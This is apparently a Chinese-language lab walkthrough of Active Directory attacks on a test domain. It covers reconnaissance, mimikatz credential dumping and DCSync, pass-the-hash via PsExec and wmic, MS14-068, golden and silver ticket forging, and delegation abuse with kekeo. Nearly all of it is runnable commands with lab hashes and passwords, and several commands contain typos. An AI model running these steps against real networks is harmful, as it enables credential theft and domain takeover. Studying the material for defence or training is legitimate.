域信息收集
跟域相关的一般会加/domain,不加的就是本地的信息
命令 | 作用 |
---|---|
ipconfig /all | 查看本机ip,所在域 |
route print | 打印路由信息 |
net view | 查看局域网内其他主机名 |
arp -a | 查看arp缓存 |
net start | 查看开启了哪些服务 |
net share | 查看开启了哪些共享 |
net share ipc$ | 开启ipc共享 |
net share c$ | 开启c盘共享 |
net use \192.168.xx.xx\ipc$ “” /user:“” | 与192.168.xx.xx建立空连接 |
net use \192.168.xx.xx\c$ “密码” /user:“用户名” | 建立c盘共享 |
dir \192.168.xx.xx\c$\user | 查看192.168.xx.xx c盘user目录下的文件 |
net config Workstation | 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 |
net user | 查看本机用户列表 |
net user /domain | 查看域用户 |
net localgroup administrators | 查看本地管理员组(通常会有域用户) |
net view /domain | 查看有几个域 |
net view /domain test | 查看test域 |
net user 用户名 /domain | 获取指定域用户的信息。执行net view /domain报6118错误解决,需要开启windows的三个服务:server服务、workstation服务、computer browser服务 |
net group /domain | 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) |
net group 组名 /domain | 查看域中某工作组 |
net time /domain | 查看域控时间(主域服务器会同时作为时间服务器) |
net group “domain admins” /domain | 查看域管理员的名字 |
net group “domain computers” /domain | 查看域中的其他主机名 |
net group “doamin controllers” /domain | 查看域控制器(可能有多台) |
net group “Enterprise Admins” /domain | 查看域管理员组 |
whoami /fqdn | 可分辨名称 |
whoami /priv | 查看特权 |
whoami /user | 当前用户的用户信息即SID |
whoami /all | 所有的 |
netstat -anp tcp | 查看tcp端口 |
tacklist | 查看进程列表 |
taskkill /F /im nginx.exe | 根据进程名删除进程 |
systeminfo | 查看系统信息 |
wmic qfe list all | 查看补丁信息 |
set logonserser | 查找域控 |
set log | 同上 |
cmd的IP扫描
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
为什么这么做?
这个环境也是更好的去了解kerberos的机制,以前只是很熟悉kerberos的原理,不就是时钟同步、各种TGT和SGT的票据吗
当我们拿到域内的服务器,应该怎么去利用kerberos特性的漏洞,去进一步延伸呢?
哈希传递攻击PTH(Pass The Hash)
windows存储密码时使用的sam,是密码的hash值,我们只要抓取hash就能完成认证,听着有点像彩虹表,既然windows不保存明文密码,保存hash,我们就想办法拿hash
适用于win server 2012 R2及以后
LM Hash,考虑兼容性在server 2008以后的默认禁用,所以这个不是我们探索的重点
NTLM Hash使用较广,这个才是重点
mimikatz(猕猴桃)
这里注意一点,只有本地管理员或者工作组才有权限获取内存里面的hash,普通用户没有权限读取,也就是说,我们是需要提权到本地管理员的
还是假如我们已经拿下了边界服务器win7,在win7上关闭自带防病毒,右键以本地的管理员(一定是本地管理员,要是用域管理员就没意义了)身份运行mimikatz.exe,进入debug模式(当前前提是域管理员曾经登录过这台服务器,如果没有登录,NTML Hash就不会保存在内存里)
privilege::debug
抓取内存中的域管理员明文密码
sekurlsa::logonpasswords
也能拿到域管理员的NTML Hash,这里需要声明一下,NTML Hash毕竟也是Hash,如果密码原文都一样,那Hash也就一样
9099d68602a60f007c227c4fa95fada6
拿到域控IP
192.168.10.2
提权,使用管理员的NTML Hash,会弹出cmd,这就是模拟administrator用户,使用administrator用户的ntlm的hash进行登录,获取域管理员的权限,这里弹出的cmd表面上看还是本机的administrator,但是可以直接访问域控的共享,但是如果单纯打开本地administrator权限的cmd是访问不了的
sekurlsa::pth /user:administrator /domain:192.168.10.2 /ntlm:9099d68602a60f007c227c4fa95fada6
pstools
pstools是微软自带的工具,刚刚已经通过mimikatz抓取域管理员密码身份运行
在win7中本地administrator权限运行,注意IP前面是两个反斜线
PsExec.exe \\192.168.10.2 -u Administrator -p p-0p-0p-0 /s cmd
或者直接执行命令
PsExec.exe \\192.168.10.2 -u Administrator -p p-0p-0p-0 /s cmd /c ipconfig
psexec.py
kali自带的psexec.py,四个1是随便输,执行python的地方要和域控一个网段,不然啥也不会有的,如果成功了,会返回一个类似meterpreter的命令行
find / -name psexec.py
python3 /usr/local/bin/psexec.py -hashes 1111:9099d68602a60f007c227c4fa95fada6 ./[email protected]
wmic
win7本地administrator执行,node为域控,user是域管理员,password是域管理员密码,执行命令结果输出到域控win2012的c:\ip.txt
wmic /node:"192.168.10.2" /user:"administrator" /password:"p-0p-0p-0" process call create "cmd.exe /c ipconfig > c:\ip.txt"
票据传递攻击(ms-14-068)
既然是票据,就和kerberos有关了,都知道委托人是通过票据访问其他委托人
补丁为KB3011780,受影响系统:2014年以前
普通用户(普通域用户+密码+SID)可以直接提权到域管理员
工具下载
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
假设我们已经获取win7上的普通域账户权限,做一下信息收集
获取域为student.com
ipconfig /all
获取域控服务器的IP192.168.10.2
获取域用户的SID,域用户只有最后几个不一样,比如域成员为:S-1-5-21-1720151474-3232640223-4127377364-1104,域管理员就是S-1-5-21-1720151474-3232640223-4127377364-500
whoami /user
在win7上执行,带上自己的密码
MS14-068.exe -u 普通域用户名@域 -p 普通域用户密码 -s 普通域用户SID -d DC的IP
MS14-068.exe -u [email protected] -p p-0p-0p-0 -s S-1-5-21-1720151474-3232640223-4127377364-1104 -d 192.168.10.2
生成了票据缓存
[email protected]
清空票据
kerberos::list
kerberos::purge
使用mimikatz命令行导入这个票据
kerberos::ptc C:\Users\web\Desktop\WindowsExploit\WindowsExploits-master\MS14-068\[email protected]
win7没成功,可能是这台windows没有这个漏洞
dir \\dc\c$
黄金票据和白银票据
黄金票据
TGT就是黄金票据,有了TGT就能直接跳过和AS的认证,和TGS进行第二步沟通
假设我们已经拿到了域控权限,在域控win2012上信息收集后导出域控票据
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:student.com /user:krbtgt
域控拿到krbtgt的NTML Hash
Credentials:
Hash NTLM: 162aa5544faf65195e4165e32ddd0c47
接着就都是在win2008上普通域用户操作了
win2008普通域账户web执行,生成黄金票据
kerberos::golden /user:普通用户 /domain:域 /sid:域的sid /krbtgt:krbtgt的NTML Hash /ticket:test.kirbi
完整命令如下
kerberos::golden /user:web /domain:student.com /sid:S-1-5-21-1720151474-3232640223-4127377364 /krbtgt:162aa5544faf65195e4165e32ddd0c47 /ticket:gold.kirbi
在win2008上清除票据
kerberos::purge
kerberos::list
导入刚刚生成的票据
kerberos::ptt gold.kirbi
kerberos::list
访问域控的共享C盘,前提是域控开启共享C盘
dir \\dc\c$
白银票据
说白了就是SGT,但是SGT肯定比TGT权限小,因为在SGT的时候,已经明确了访问具体的服务,用法和黄金票据差不多,只是导出的是具体某台服务器的票据
win7访问域控的共享C盘,前提是开启共享C盘,拒绝访问
dir \\server\c$
对域控信息收集域的sid和域控的NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
9099d68602a60f007c227c4fa95fada6
S-1-5-21-1720151474-3232640223-4127377364-500
win7上,普通域用户执行
# 使用方法:
# kerberos::golden /sid:S-1-5-21-1720151474-3232640223-4127377364 /domain:student.com /target:dc.student.com /service:cifs /rc4:5350629888d6773361577476192e77bb /user:win7 /ptt /id:1339
/id:它是在检查时在事件日志中可见的任何随机 ID。可以随机化。
/sid:域的。
/domain:目标域的有效 FQDN
/service:为其生成票证的服务
/rc4:受害机器计算机帐户的 NTLM 哈希(之前找到)
/user:模拟用户名
完整命令如下,这条命令是直接把生成的白银票据导入内存了
kerberos::golden /sid:S-1-5-21-1720151474-3232640223-4127377364 /domain:student.com /target:dc.student.com /service:cifs /rc4:5350629888d6773361577476192e77bb /user:win7 /ptt /id:1339
或者先在win7直接导出白银票据
kerberos::golden /domain:student.com /sid:sid:S-1-5-21-1720151474-3232640223-4127377364 /target:DC.student.com /service:cifs /rc4:5350629888d6773361577476192e77bb /user:test /ticket:silver.kirbi
win7普通域用户再导入
kerberos::ptt C:\Users\win7\Desktop\mimikatz_trunk\x64\silver.kirbi
win7访问域控的共享C盘,前提是开启共享C盘,可以访问
dir \\dc.student.com\c$
委派与非约束委派
非约束委派
非约束委派需要域管理员登录到域服务器上,所以使用场景较小,但是获取的是TGT哦
域控信任win2008的委派(computer->server->属性->委派)
选第二个信任
正常web域用户没有委派属性
域控将web域用户增加委派属性
增加前没有委派属性(删除就是把A换成D)
setspn -A https:/web web
现在就有委派属性了,域控信任web账户的委派(用户->web->属性->委派)
win2008上登录本地管理员,无法访问域控的共享
dir \\dc\c$
win2008域账户web登录,用adfind查看非约束性委派的机器主机和用户
AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
win2008域账户web登录,用adfind查看非约束性委派的机器用户
AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
win2008本地管理员administrator,使用mimikatz导出当前票据,可以看到administrator、本机server和web账户的票据,并没有我们想要的域控的票据
privilege::debug
sekurlsa::tickets /explort
在域控上模拟远程登录win2008(域管理员用户名和密码)
net use \\server /user:administrator p-0p-0p-0
dir \\server\c$
win2008再次导出TGT凭据,可以看到域管理员的的票据
privilege::debug
sekurlsa::tickets /explort
win2008本地administrator导入TGT票据,导入后就可以在win2008上访问
kerberos::ptt [0;ed5fc][email protected]
dir \\dc\c$
紧接着,可以再使用dcsync导出域管理员的hash
lsadump::dcsync /domain:student.com /user:Administrator
约束委派
获取的是SGT,权限较小
域控界面->查看->高级功能
查看server的属性里面,查看userAccountControl是528384,这是非约束性委派的值
设置server的委派为第三个仅信任+使用任何,也就是约束性委派了
再添加DC的cifs权限的委派
再次查看属性编辑器,userAccountControl为16781312,也就是约束性委派了
查看属性msDS-AllowedToDelegateTo,可以访问域控的cifs
web用户相同操作,增加委派
win2008上登录web账户,adfind查找约束性委派的机器账户和服务账户
# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
票据
win2008登录本地管理员,执行导出票据,这是mimikatz的另一种用法,相当于是命令行参数了
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export "exit"
找到这个票据
[0;3e7][email protected]
使用kekeo工具
https://github.com/gentilkiwi/kekeo/releases
依旧是win2008本地administrator生成票据
kekeo.exe "tgs::s4u /tgt:C:\Users\Administrator\Desktop\mimikatz_trunk\x64\[0;3e7][email protected] /user:[email protected] /service:cifs/dc.student.com" "exit"
我们用这个
[email protected]@[email protected]
导入之前再看一下不能访问DC
dir \\dc\c$
win2008普通域用户web使用mimikatz导入票据
kerberos::ptt C:\Users\Administrator\Desktop\kekeo\x64\[email protected]@[email protected]
导入后普通域用户web访问DC
dir \\dc\c$
HASH
win2008登录本地管理员
mimikatz拿到机器账户的HASH
privilege::debug
sekurlsa::logonpasswords
[00000002] Primary OM
* Username : Administrator
* Domain : SERVER
* LM : 2cbb804e49281a789f267fe10e5c707d
* NTLM : 5d4c5144cfd85d889282621e75127cb9
* SHA1 : 11a12580d4013937f29940378a7b5c8aaf6d11e7